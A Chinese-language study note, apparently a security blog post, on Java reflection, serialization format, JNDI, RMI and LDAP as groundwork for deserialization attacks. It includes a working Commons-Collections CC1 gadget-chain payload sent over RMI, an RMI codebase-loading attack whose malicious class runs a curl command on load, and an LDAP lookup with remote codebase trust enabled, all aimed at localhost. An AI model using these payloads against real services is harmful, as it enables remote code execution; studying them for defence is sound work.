Java的反序列化笔记

。这下从零开始了。

前置

复习 Java 的 IO 相关

反射

Java 的反射是指程序在运行期可以拿到一个对象的所有信息,是为了解决在运行期,对某个对象一无所知的情况下,对其方法进行调用。

Java 中的所有类都表现为 class 对象,包括 8 种基本类和 interface 等。

class 对象是 JVM 在执行过程中动态加载的,每加载一种 classJVM 便创建一个 Class 实例与其关联,并在该实例中保留了该 class 的所有信息,包括类名,接口,方法等。因此获得了 Class 实例,便可获得与其关联的 class 的所有信息。

这里的 Class 是名为 Classclass,只有 JVM 可以创建 Class,自己编写的程序不行。

获取 Class 实例

获取 Class 实例的方法有 3 种:

根据类名

1
Class clazz = String.class;

根据对象

1
2
String south = "Hello";
Class clazz = south.getClass();

根据全限定类名

1
2
Class clazz = Class.forName("java.lang.String");
Class clazz = ClassLoader.getSystemClassLoader().loadClass("java.lang.String");

而由于 Class 是唯一的,因此上述方法获得的 cls 是相等的。

对于 forName 方法,有 2 个函数重载,其关系从源码便可一眼看出。

forName(String className)

1
2
3
4
public static Class<?> forName(String className) throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}

forName(String name, boolean initialize, ClassLoader loader)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Class<?> forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException {
Class<?> caller = null;
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
// Reflective call to get caller class is only needed if a security manager
// is present. Avoid the overhead of making this call otherwise.
caller = Reflection.getCallerClass();
if (sun.misc.VM.isSystemDomainLoader(loader)) {
ClassLoader ccl = ClassLoader.getClassLoader(caller);
if (!sun.misc.VM.isSystemDomainLoader(ccl)) {
sm.checkPermission(
SecurityConstants.GET_CLASSLOADER_PERMISSION);
}
}
}
return forName0(name, initialize, loader, caller);
}

其中的 initialize 变量并不表示着常规构造函数的初始化与否,而是类静态代码块的初始化与否,即 static{} 中间的内容。

值得一提的是,对于普通类中的内部类,是可以和普通类看作两个无关类的,其编译会生成两个文件。

使用 $ 符号来查找加载内部类,比如 Class.forName("C1$C2")

实例化操作

获取Class后,可以继续反射获得类中的成员变量等信息,也可以对其进行实例化。

newInstance

  1. 需要存在无参构造函数
  2. 需要存在公开成员变量
1
2
Class clazz = Class.forName("User");
clazz.newInstance();

getMethod

  1. getMethod 获取的需要是公开方法,包括从父类继承的
  2. 后跟传参类型来确定重载的方法
  3. invoke 对普通方法传入实例,对静态方法传入 null,后跟传参的值
1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "open -a Calculator");

getConstructor

  1. 没有无参构造时可用
  2. 同样借助传参类型来确定重载方法
  3. 对于可变长参数可传数组类来确定
1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "-a", "Calculator")));

getDeclaredMethod

  1. 获取的包括私有方法,但不包括从父类基础的,其余的雷同 getMethod
  2. 获取私有方法后需要 setAccessible(true)
1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getDeclaredMethod("getRuntime");
method.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(method.invoke(clazz), "open -a Calculator");

getDeclaredConstructor

  1. 获取的包括私有方法,但不包括从父类基础的,其余的雷同 getConstructor
  2. 获取私有方法后需要 setAccessible(true)
1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(constructor.newInstance(), "open -a Calculator");

此处 class 写为 clazz,是因为 class 为关键字,故 Class 类的实例化命名 class 会报错,常规是命名为 clazz

总结

  1. 反射使用软引用 relectionData 缓存 class 信息,避免每次重新从 JVM 获取带来的开销;
  2. 反射调用多次生成新代理 Accessor, 而通过字节码生存的则考虑了卸载功能,所以会使用独立的类加载器;
  3. 当找到需要的方法,都会 copy 一份出来,而不是使用原来的实例,从而保证数据隔离;
  4. 调度反射方法,最终是由 JVM 执行 invoke0() 执行;
  5. JVM 运行时如果存在有 SecurityManager,那么根据规则,可能会阻止 setAccessible(true) 来保证 JVM 核心库的安全。
  6. 反射调用时遵循多态原则,优先调用覆盖写法。

序列化与反序列化

在网络上传递消息的时候一般会用一些格式化的标准,比如 Json/XML,但其不支持复杂的数据类型。

因此,Jackson/Fastjson 等类库,会在 Json/XML 的基础上进行改造,通过特定的语法来传递对象;亦或者如 RMI,直接使用 Java 等语言内置的序列化方法,将一个对象转换成一串二进制数据进行传输。

而在 Java 中,ObjectOutputStream 类的 writeObject() 方法用于将对象转成二进制数据实现序列化。ObjectInputStream 类的 readObject() 方法用于将二进制数据转成对象实现反序列化。

序列化条件

  • 需要该类实现 Serializable/Externalizable 接口

反序列化条件

  • 存在指定的类
  • serialVersionUID 一致

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.*;

public class Cat implements Serializable {

public String name;
public int age;

public Cat(String name, int age) {
this.name = name;
this.age = age;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Cat cat = new Cat("south", 7);
File file = new File("out.txt");

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(cat);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Cat newCat = (Cat) ois.readObject();
System.out.println(newCat.toString());
}

@Override
public String toString() {
return "Cat{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

private void writeObject(ObjectOutputStream stream) throws IOException {
stream.defaultWriteObject();
stream.writeObject("miao");
}

private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
stream.defaultReadObject();
String message = (String) stream.readObject();
System.out.println(message);
}
}

文件转 16 进制字符串。

1
hexdump -e '16/1 "%02x"' out.txt

然后 SerializationDumper 看看结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
java -jar SerializationDumper-v1.13.jar "aced000573720003436174232d6ccbfabb15200300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b787000000007740005736f7574687400046d69616f78"
// 开头两行是幻数
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
// 然后是内容 会有多个contents嵌套
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
// 类名的长度和值
className
Length - 3 - 0x00 03
Value - Cat - 0x436174
// 生成的serialVersionUID
serialVersionUID - 0x23 2d 6c cb fa bb 15 20
// 句柄值,类似于对象的ID
newHandle 0x00 7e 00 00
// 为0x02时表示实现了Serializable接口,0x03表示还额外实现了writeObject方法
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
// 成员变量个数及类型、名称长度与值
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
// 这部分由annotateClass方法写入,默认是TC_ENDBLOCKDATA
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
// 成员变量所赋的值
classdata
Cat
values
age
(int)7 - 0x00 00 00 07
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 5 - 0x00 05
Value - south - 0x736f757468
// 实现了writeObject方法后出现的字段,内容为写入的内容的属性值
objectAnnotation
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 4 - 0x00 04
Value - miao - 0x6d69616f
TC_ENDBLOCKDATA - 0x78

此处可以看见 writeObject 写入的数据在 objectAnnotation 字段的位置。

待完善【HashMap相关——

JDNI

全称为 Java Naming and Directory Interface,规定了统一的通用的服务标准,是 J2EE/JakartaEE 中的重要规范之一。

命名服务将名称和对象进行关联,提供通过名称找到对象的操作。

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性,提供创建、添加、删除目录对象以及修改目录对象属性等操作。

支持远程方法调用【RMI】,公共对象请求代理体系结构【CORBA】,轻型目录访问协议【LDAP】或域名服务【DNS】。

常见的两种分别是基于 RMILDAP

  • 基于 LDAP 的利用方式:适用 JDK 版本:11.0.1/8u191/7u201/6u211 之前。
    • 8u191 更新中,对 LDAP 向量做了限制,并发布了 CVE-2018-3149,关闭了远程类加载。
  • 基于 RMI 的利用方式:适用 JDK 版本:6u132/7u122/8u113 之前。
    • 8u122 中加了反序列化白名单的机制,关闭了 RMI 远程加载代码。

RMI

全称为Remote Method Invocation,是Java的远程方法调用,由Registry/Server/Client三部分组成。

代理模式

img
  1. Server创建远程对象后向Registry注册。
  2. Client访问Registry并查找远程对象。
  3. Registry返回Stub
  4. Client调用StubSkeleton通信。
  5. Skeleton代理调用服务后返回结果给Stub
  6. Stub把结果返回给Client

其中,StubClient的代理,SkeletonServer的代理。

代理模式中ServerClient皆有执行远程对象的方法,故可互相反序列化攻击。

工厂模式

img
  1. Server创建FactoryProduct,注册Reference关联两者。
  2. ServerRegistry注册Factory
  3. Client访问Registry并查找远程对象。
  4. Registry返回指向FactoryReference
  5. Client加载Factory,得到指向ProductReference
  6. Client加载Product

工厂模式中执行远程对象的方法的是Client,故是攻击Client的方式,是常说的JNDI注入。

安全问题在于可以对RMI的方法进行探测Codebase的可控加载。

正常服务实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// CreatureInterface.java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface CreatureInterface extends Remote {

String say() throws RemoteException;
}

// CatImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class CatImpl extends UnicastRemoteObject implements CreatureInterface {

protected CatImpl() throws RemoteException {
super();
}

@Override
public String say() throws RemoteException {
return "miao";
}
}

// RMIServer.java
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {

public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Naming.rebind("creature", new CatImpl());
} catch (Exception e) {
e.printStackTrace();
}
}
}

// RMIClient.java
import java.rmi.Naming;

public class RMIClient {

public static void main(String[] args) {
try {
CreatureInterface c = (CreatureInterface) Naming.lookup("rmi://127.0.0.1:1099/creature");
System.out.println(c.say());
} catch (Exception e) {
e.printStackTrace();
}
}
}

C/S结构。

1
2
3
4
5
6
7
- Client
- RMIClient
- CreatureInterface
- Sever
- RMIServer
- CreatureInterface
- CatImpl

因为接口的使用,客户端并不需要知道CatImpl的具体实现。

此处将RegistryServer一同实现了。

攻击实例

先借用一下CC1链子的实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// CreatureInterface.java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface CreatureInterface extends Remote {

String say() throws RemoteException;

Object eat(Object object) throws RemoteException;
}

// CatImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class CatImpl extends UnicastRemoteObject implements CreatureInterface {

protected CatImpl() throws RemoteException {
super();
}

@Override
public String say() throws RemoteException {
return "miao";
}

@Override
public Object eat(Object object) throws RemoteException {
return object;
}
}

// RMIClient.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {

public static void main(String[] args) {
try {
CreatureInterface c = (CreatureInterface) Naming.lookup("rmi://127.0.0.1:1099/creature");
System.out.println(c.eat(getPayload("calc")));
} catch (Exception e) {
e.printStackTrace();
}
}

private static Object getPayload(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "key");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, outerMap);
return o;
}
}

Codebase提一嘴

RMI支持动态类加载,如果有设置java.rmi.server.codebase,则在本地classpath找不到类的时候会去codebase的地址继续寻找并尝试加载。

攻击条件

  1. 安装配置了SecurityManager
  2. Java版本低于7u216u45,或者设置java.rmi.server.useCodebaseOnly=false

示例

Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// RMIServer.java
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {

public static void main(String[] args) {
if (System.getSecurityManager() == null) {
System.setSecurityManager(new SecurityManager());
}
try {
LocateRegistry.createRegistry(1099);
Naming.rebind("creature", new CatImpl());
} catch (Exception e) {
e.printStackTrace();
}
}
}

// CreatureInterface.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface CreatureInterface extends Remote {
String say() throws RemoteException;

Object eat(Object object) throws RemoteException;

Integer calc(List<Integer> params) throws RemoteException;
}

// CatImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class CatImpl extends UnicastRemoteObject implements CreatureInterface {

protected CatImpl() throws RemoteException {
super();
}

@Override
public String say() throws RemoteException {
return "miao";
}

@Override
public Object eat(Object object) throws RemoteException {
return object;
}

@Override
public Integer calc(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

// policy
grant { permission java.security.AllPermission; };

设置Ideavm option

1
-Djava.rmi.server.hostname=127.0.0.1 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=/Users/south/Code/Java/Server/policy
Client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// RMIClient.java
import java.io.IOException;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;

public class RMIClient {

public static void main(String[] args) {
try {
CreatureInterface c = (CreatureInterface) Naming.lookup("rmi://127.0.0.1:1099/creature");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(c.calc(li));
} catch (Exception e) {
e.printStackTrace();
}
}
}

class Payload extends ArrayList<Integer> {
static {
try {
Runtime.getRuntime().exec("curl http://127.0.0.1:2333/payload");
System.out.println("success");
} catch (IOException e) {
e.printStackTrace();
}
}
}

// CreatureInterface.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface CreatureInterface extends Remote {

String say() throws RemoteException;

Object eat(Object object) throws RemoteException;

Integer calc(List<Integer> params) throws RemoteException;
}

设置Ideavm option

1
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://127.0.0.1:23333/
EvilServer

client下编译好的payload.class放在其他目录下,然后启一个web服务。

1
python -m http.server 23333
结果
1
2
3
4
5
6
7
8
9
10
11
12
# ListenServer
python -m http.server 2333
Serving HTTP on :: port 2333 (http://[::]:2333/) ...
::ffff:127.0.0.1 - - [07/Jun/2022 23:43:20] code 404, message File not found
::ffff:127.0.0.1 - - [07/Jun/2022 23:43:20] "GET /payload HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [07/Jun/2022 23:43:20] code 404, message File not found
::ffff:127.0.0.1 - - [07/Jun/2022 23:43:20] "GET /payload HTTP/1.1" 404 -

# EvilServer
python -m http.server 23333
Serving HTTP on :: port 23333 (http://[::]:23333/) ...
::ffff:127.0.0.1 - - [07/Jun/2022 23:43:20] "GET /Payload.class HTTP/1.1" 200 -

以上是通过Client攻击Server的示例,当然Server也可这般攻击Client,但攻击条件苛刻,因此只是做个了解。

LDAP

全称为Lightweight Directory Access Protocol,是基于X.500 DAP【目录访问协议】的,但轻量且可定制,支持TCP/IP,定义在RFC2251/RFC4511中。

是一种有层次的树形结构,因此有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。

Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location【已弃用

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData
  • ……
img
1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>2.3.8</version>
</dependency>

代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// Server
public class LDAPSeriServer {

private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}
}

// Client
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}

Reference

反射 - 廖雪峰的官方网站

Java反射-修改字段值, 反射修改static final修饰的字段

深入理解 JAVA 反序列化漏洞

Java序列化的协议文档

JavaSec rmi利用分析

Java安全学习——利用RMI进行攻击

浅谈 Java RMI

Java RMI 攻击由浅入深